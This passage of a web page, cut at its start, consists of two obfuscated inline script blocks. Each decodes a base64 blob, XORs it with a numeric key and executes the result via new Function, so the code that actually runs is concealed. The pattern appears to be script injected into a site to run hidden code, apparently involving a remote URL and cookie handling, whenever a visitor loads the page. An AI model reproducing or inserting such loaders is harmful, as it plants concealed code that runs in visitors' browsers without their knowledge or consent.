0J5VEMWdWtWR0lsYXMFCQFLQ0xLSgEJBWZYGHRGHgUJEUtDTEtKEx8JBQZxRhEGCQhGQV1aEwkFS0BNQUpLe3xnbUFDXkFAS0BaBnFGBwcUCQkHFVhPXA5xWkETXUtaekdDS0FbWgZIW0BNWkdBQAYHVV5rXx9WFwZrVkdJbGEFHwcVUwIfHB4eHgcVRUFmQUlIAEFAQkFPShNIW0BNWkdBQAYHVU1CS09cekdDS0FbWgZxWkEHFVMVRUFmQUlIAF1cTRNxWxVTXmtfH1YXBh4HFVNHSAZKQU1bQ0tAWgBcS09KV31aT1pLExMTCUJBT0pHQEkJB0hjYUp/bABPSkprWEtAWmJHXVpLQEtcBglqYWNtQUBaS0BaYkFPSktKCQJeX15NHmUHFUtCXUsOXl9eTR5lBgcVUwcGBxU='),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>